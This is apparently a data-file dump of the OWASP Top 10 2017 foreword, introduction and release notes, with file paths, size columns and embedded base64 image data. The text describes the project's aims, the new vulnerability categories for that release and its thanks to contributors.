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)
Copyright © 2003-2017 The OWASP Foundation. This document is released under the Creative Commons Attribution Share-Alike 4.0 license. For any reuse or distribution, you must make it clear to others the license terms of this work.
|
0x02-foreword.md | ./Top10/2017/en/0x02-foreword.md | ## Foreword
Insecure software is undermining our financial, healthcare, defense, energy, and other critical infrastructure. As our software becomes increasingly complex, and connected, the difficulty of achieving application security increases exponentially. The rapid pace of modern software development processes makes the most common risks essential to discover and resolve quickly and accurately. We can no longer afford to tolerate relatively simple security problems like those presented in this OWASP Top 10.
A great deal of feedback was received during the creation of the OWASP Top 10 - 2017, more than for any other equivalent OWASP effort. This shows how much passion the community has for the OWASP Top 10, and thus how critical it is for OWASP to get the Top 10 right for the majority of use cases.
Although the original goal of the OWASP Top 10 project was simply to raise awareness amongst developers and managers, it has become the de facto application security standard.
In this release, issues and recommendations are written concisely and in a testable way to assist with the adoption of the OWASP Top 10 in application security programs. We encourage large and high performing organizations to use the [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/ASVS) if a true standard is required, but for most, the OWASP Top 10 is a great start on the application security journey.
We have written up a range of suggested next steps for different users of the OWASP Top 10, including "What's Next for Developers", "What's Next for Security Testers", "What's Next for Organizations“, which is suitable for CIOs and CISOs, and "What's Next for Application Managers", which is suitable for application managers or anyone responsible for the lifecycle of the application.
In the long term, we encourage all software development teams and organizations to create an application security program that is compatible with your culture and technology. These programs come in all shapes and sizes. Leverage your organization's existing strengths to measure and improve your application security program using the Software Assurance Maturity Model.
We hope that the OWASP Top 10 is useful to your application security efforts. Please don't hesitate to contact OWASP with your questions, comments, and ideas at our GitHub project repository:
* [https://github.com/OWASP/Top10/issues](https://github.com/OWASP/Top10/issues)
You can find the OWASP Top 10 project and translations here:
* [https://www.owasp.org/index.php/top10](https://www.owasp.org/index.php/top10)
Lastly, we wish to thank the founding leadership of the OWASP Top 10 project, Dave Wichers and Jeff Williams, for all their efforts, and believing in us to get this finished with the community's help. Thank you!
* Andrew van der Stock
* Brian Glas
* Neil Smithline
* Torsten Gigler
## Attribution
Thanks to [Autodesk](https://www.autodesk.com) for sponsoring the OWASP Top 10 - 2017.
Organizations and individuals that have provided vulnerability prevalence data or other assistance are listed on the [Acknowledgements page](0xd1-data-contributors.md).
| 3,174 | 0.00303 | ## Foreword
Insecure software is undermining our financial, healthcare, defense, energy, and other critical infrastructure. As our software becomes increasingly complex, and connected, the difficulty of achieving application security increases exponentially. The rapid pace of modern software development processes makes the most common risks essential to discover and resolve quickly and accurately. We can no longer afford to tolerate relatively simple security problems like those presented in this OWASP Top 10.
A great deal of feedback was received during the creation of the OWASP Top 10 - 2017, more than for any other equivalent OWASP effort. This shows how much passion the community has for the OWASP Top 10, and thus how critical it is for OWASP to get the Top 10 right for the majority of use cases.
Although the original goal of the OWASP Top 10 project was simply to raise awareness amongst developers and managers, it has become the de facto application security standard.
In this release, issues and recommendations are written concisely and in a testable way to assist with the adoption of the OWASP Top 10 in application security programs. We encourage large and high performing organizations to use the [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/ASVS) if a true standard is required, but for most, the OWASP Top 10 is a great start on the application security journey.
We have written up a range of suggested next steps for different users of the OWASP Top 10, including "What's Next for Developers", "What's Next for Security Testers", "What's Next for Organizations“, which is suitable for CIOs and CISOs, and "What's Next for Application Managers", which is suitable for application managers or anyone responsible for the lifecycle of the application.
In the long term, we encourage all software development teams and organizations to create an application security program that is compatible with your culture and technology. These programs come in all shapes and sizes. Leverage your organization's existing strengths to measure and improve your application security program using the Software Assurance Maturity Model.
We hope that the OWASP Top 10 is useful to your application security efforts. Please don't hesitate to contact OWASP with your questions, comments, and ideas at our GitHub project repository:
* [https://github.com/OWASP/Top10/issues](https://github.com/OWASP/Top10/issues)
You can find the OWASP Top 10 project and translations here:
* [https://www.owasp.org/index.php/top10](https://www.owasp.org/index.php/top10)
Lastly, we wish to thank the founding leadership of the OWASP Top 10 project, Dave Wichers and Jeff Williams, for all their efforts, and believing in us to get this finished with the community's help. Thank you!
* Andrew van der Stock
* Brian Glas
* Neil Smithline
* Torsten Gigler
## Attribution
Thanks to [Autodesk](https://www.autodesk.com) for sponsoring the OWASP Top 10 - 2017.
Organizations and individuals that have provided vulnerability prevalence data or other assistance are listed on the [Acknowledgements page](0xd1-data-contributors.md).
|
0x05-introduction.md | ./Top10/2017/en/0x05-introduction.md | # I Introduction
## Welcome to the OWASP Top 10 - 2017
This major update adds several new issues, including two issues selected by the community - A8:2017-Insecure Deserialization and A10:2017-Insufficient Logging and Monitoring. Two key differentiators from previous OWASP Top 10 releases are the substantial community feedback and extensive data assembled from dozens of organizations, possibly the largest amount of data ever assembled in the preparation of an application security standard. This provides us with confidence that the new OWASP Top 10 addresses the most impactful application security risks currently facing organizations.
The OWASP Top 10 for 2017 is based primarily on 40+ data submissions from firms that specialize in application security and an industry survey that was completed by over 500 individuals. This data spans vulnerabilities gathered from hundreds of organizations and over 100,000 real-world applications and APIs. The Top 10 items are selected and prioritized according to this prevalence data, in combination with consensus estimates of exploitability, detectability, and impact.
A primary aim of the OWASP Top 10 is to educate developers, designers, architects, managers, and organizations about the consequences of the most common and most important web application security weaknesses. The Top 10 provides basic techniques to protect against these high risk problem areas, and provides guidance on where to go from here.
## Roadmap for future activities
**Don't stop at 10**. There are hundreds of issues that could affect the overall security of a web application as discussed in the [OWASP Developer's Guide](https://www.owasp.org/index.php/OWASP_Guide_Project) and the [OWASP Cheat Sheet Series](https://www.owasp.org/index.php/Category:Cheatsheets). These are essential reading for anyone developing web applications and APIs. Guidance on how to effectively find vulnerabilities in web applications and APIs is provided in the [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project).
**Constant change**. The OWASP Top 10 will continue to change. Even without changing a single line of your application's code, you may become vulnerable as new flaws are discovered and attack methods are refined. Please review the advice at the end of the Top 10 in What's Next For Developers, Testers, Organizations and Application Managers for more information.
**Think positive**. When you're ready to stop chasing vulnerabilities and focus on establishing strong application security controls, the [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls) project provides a starting point to help developers build security into their applications and the [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/ASVS) is a guide for organizations and application reviewers on what to verify.
**Use tools wisely**. Security vulnerabilities can be quite complex and deeply buried in code. In many cases, the most cost-effective approach for finding and eliminating these weaknesses is human experts armed with advanced tools. Relying on tools alone provides a false sense of security and is not recommended.
**Push left, right, and everywhere**. Focus on making security an integral part of your culture throughout your development organization. Find out more in the [OWASP Software Assurance Maturity Model (SAMM)](https://www.owasp.org/index.php/OWASP_SAMM_Project).
## Attribution
We'd like to thank the organizations that contributed their vulnerability data to support the 2017 update. We received more than 40 responses to the call for data. For the first time, all the data contributed to a Top 10 release, and the full list of contributors, is publicly available. We believe this is one of the larger, more diverse collections of vulnerability data ever collected publicly.
As there are more contributors than space here, we have created a dedicated page to recognize the contributions made. We wish to give heartfelt thanks to these organizations for being willing to be on the front lines by publicly sharing vulnerability data from their efforts. We hope this will continue to grow and encourage more organizations to do the same and possibly be seen as one of the key milestones of evidence based security. The OWASP Top 10 would not be possible without these amazing contributions.
A big thank you to the more than 500 individuals who took the time to complete the industry ranked survey. Your voice helped determine two new additions to the Top 10. The additional comments, notes of encouragement, and criticisms were all appreciated. We know your time is valuable and we wanted to say thanks.
We would like to thank those individuals who contributed significant constructive comments and time reviewing this update to the Top 10. As much as possible, we have listed them on the "Acknowledgements" page.
And finally, we'd like to thank in advance all the translators out there who will translate this release of the Top 10 into numerous different languages, helping to make the OWASP Top 10 more accessible to the entire planet.
| 5,174 | 0.004937 | # I Introduction
## Welcome to the OWASP Top 10 - 2017
This major update adds several new issues, including two issues selected by the community - A8:2017-Insecure Deserialization and A10:2017-Insufficient Logging and Monitoring. Two key differentiators from previous OWASP Top 10 releases are the substantial community feedback and extensive data assembled from dozens of organizations, possibly the largest amount of data ever assembled in the preparation of an application security standard. This provides us with confidence that the new OWASP Top 10 addresses the most impactful application security risks currently facing organizations.
The OWASP Top 10 for 2017 is based primarily on 40+ data submissions from firms that specialize in application security and an industry survey that was completed by over 500 individuals. This data spans vulnerabilities gathered from hundreds of organizations and over 100,000 real-world applications and APIs. The Top 10 items are selected and prioritized according to this prevalence data, in combination with consensus estimates of exploitability, detectability, and impact.
A primary aim of the OWASP Top 10 is to educate developers, designers, architects, managers, and organizations about the consequences of the most common and most important web application security weaknesses. The Top 10 provides basic techniques to protect against these high risk problem areas, and provides guidance on where to go from here.
## Roadmap for future activities
**Don't stop at 10**. There are hundreds of issues that could affect the overall security of a web application as discussed in the [OWASP Developer's Guide](https://www.owasp.org/index.php/OWASP_Guide_Project) and the [OWASP Cheat Sheet Series](https://www.owasp.org/index.php/Category:Cheatsheets). These are essential reading for anyone developing web applications and APIs. Guidance on how to effectively find vulnerabilities in web applications and APIs is provided in the [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project).
**Constant change**. The OWASP Top 10 will continue to change. Even without changing a single line of your application's code, you may become vulnerable as new flaws are discovered and attack methods are refined. Please review the advice at the end of the Top 10 in What's Next For Developers, Testers, Organizations and Application Managers for more information.
**Think positive**. When you're ready to stop chasing vulnerabilities and focus on establishing strong application security controls, the [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls) project provides a starting point to help developers build security into their applications and the [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/ASVS) is a guide for organizations and application reviewers on what to verify.
**Use tools wisely**. Security vulnerabilities can be quite complex and deeply buried in code. In many cases, the most cost-effective approach for finding and eliminating these weaknesses is human experts armed with advanced tools. Relying on tools alone provides a false sense of security and is not recommended.
**Push left, right, and everywhere**. Focus on making security an integral part of your culture throughout your development organization. Find out more in the [OWASP Software Assurance Maturity Model (SAMM)](https://www.owasp.org/index.php/OWASP_SAMM_Project).
## Attribution
We'd like to thank the organizations that contributed their vulnerability data to support the 2017 update. We received more than 40 responses to the call for data. For the first time, all the data contributed to a Top 10 release, and the full list of contributors, is publicly available. We believe this is one of the larger, more diverse collections of vulnerability data ever collected publicly.
As there are more contributors than space here, we have created a dedicated page to recognize the contributions made. We wish to give heartfelt thanks to these organizations for being willing to be on the front lines by publicly sharing vulnerability data from their efforts. We hope this will continue to grow and encourage more organizations to do the same and possibly be seen as one of the key milestones of evidence based security. The OWASP Top 10 would not be possible without these amazing contributions.
A big thank you to the more than 500 individuals who took the time to complete the industry ranked survey. Your voice helped determine two new additions to the Top 10. The additional comments, notes of encouragement, and criticisms were all appreciated. We know your time is valuable and we wanted to say thanks.
We would like to thank those individuals who contributed significant constructive comments and time reviewing this update to the Top 10. As much as possible, we have listed them on the "Acknowledgements" page.
And finally, we'd like to thank in advance all the translators out there who will translate this release of the Top 10 into numerous different languages, helping to make the OWASP Top 10 more accessible to the entire planet.
|
0x06-release-notes.md | ./Top10/2017/en/0x06-release-notes.md | # RN Release Notes
## What changed from 2013 to 2017?
Change has accelerated over the last four years, and the OWASP Top 10 needed to change. We've completely refactored the OWASP Top 10, revamped the methodology, utilized a new data call process, worked with the community, re-ordered our risks, re-written each risk from the ground up, and added references to frameworks and languages that are now commonly used.
Over the last few years, the fundamental technology and architecture of applications has changed significantly:
* Microservices written in node.js and Spring Boot are replacing traditional monolithic applications. Microservices come with their own security challenges including establishing trust between microservices, containers, secret management, etc. Old code never expected to be accessible from the Internet is now sitting behind an API or RESTful web service to be consumed by Single Page Applications (SPAs) and mobile applications. Architectural assumptions by the code, such as trusted callers, are no longer valid.
* Single page applications, written in JavaScript frameworks such as Angular and React, allow the creation of highly modular feature-rich front ends. Client-side functionality that has traditionally been delivered server-side brings its own security challenges.
* JavaScript is now the primary language of the web with node.js running server side and modern web frameworks such as Bootstrap, Electron, Angular, and React running on the client.
## New issues, supported by data
* **A4:2017-XML External Entities (XXE)** is a new category primarily supported by source code analysis security testing tools ([SAST](https://www.owasp.org/index.php/Source_Code_Analysis_Tools)) data sets.
## New issues, supported by the community
We asked the community to provide insight into two forward looking weakness categories. After over 500 peer submissions, and removing issues that were already supported by data (such as Sensitive Data Exposure and XXE), the two new issues are:
* **A8:2017-Insecure Deserialization**, which permits remote code execution or sensitive object manipulation on affected platforms.
* **A10:2017-Insufficient Logging and Monitoring**, the lack of which can prevent or significantly delay malicious activity and breach detection, incident response, and digital forensics.
## Merged or retired, but not forgotten
* **A4-Insecure Direct Object References** and **A7-Missing Function Level Access Control** merged into **A5:2017-Broken Access Control**.
* **A8-Cross-Site Request Forgery (CSRF)**, as many frameworks include [CSRF defenses](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)), it was found in only 5% of applications.
* **A10-Unvalidated Redirects and Forwards**, while found in approximately in 8% of applications, it was edged out overall by XXE.
![0x06-release-notes-1](images/0x06-release-notes-1.png)
| 2,908 | 0.002774 | # RN Release Notes
## What changed from 2013 to 2017?
Change has accelerated over the last four years, and the OWASP Top 10 needed to change. We've completely refactored the OWASP Top 10, revamped the methodology, utilized a new data call process, worked with the community, re-ordered our risks, re-written each risk from the ground up, and added references to frameworks and languages that are now commonly used.
Over the last few years, the fundamental technology and architecture of applications has changed significantly:
* Microservices written in node.js and Spring Boot are replacing traditional monolithic applications. Microservices come with their own security challenges including establishing trust between microservices, containers, secret management, etc. Old code never expected to be accessible from the Internet is now sitting behind an API or RESTful web service to be consumed by Single Page Applications (SPAs) and mobile applications. Architectural assumptions by the code, such as trusted callers, are no longer valid.
* Single page applications, written in JavaScript frameworks such as Angular and React, allow the creation of highly modular feature-rich front ends. Client-side functionality that has traditionally been delivered server-side brings its own security challenges.
* JavaScript is now the primary language of the web with node.js running server side and modern web frameworks such as Bootstrap, Electron, Angular, and React running on the client.
## New issues, supported by data
* **A4:2017-XML External Entities (XXE)** is a new category primarily supported by source code analysis security testing tools ([SAST](https://www.owasp.org/index.php/Source_Code_Analysis_Tools)) data sets.
## New issues, supported by the community
We asked the community to provide insight into two forward looking weakness categories. After over 500 peer submissions, and removing issues that were already supported by data (such as Sensitive Data Exposure and XXE), the two new issues are:
* **A8:2017-Insecure Deserialization**, which permits remote code execution or sensitive object manipulation on affected platforms.
* **A10:2017-Insufficient Logging and Monitoring**, the lack of which can prevent or significantly delay malicious activity and breach detection, incident response, and digital forensics.
## Merged or retired, but not forgotten
* **A4-Insecure Direct Object References** and **A7-Missing Function Level Access Control** merged into **A5:2017-Broken Access Control**.
* **A8-Cross-Site Request Forgery (CSRF)**, as many frameworks include [CSRF defenses](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)), it was found in only 5% of applications.
* **A10-Unvalidated Redirects and Forwards**, while found in approximately in 8% of applications, it was edged out overall by XXE.
![0x06-release-notes-1](data:image/png;base64,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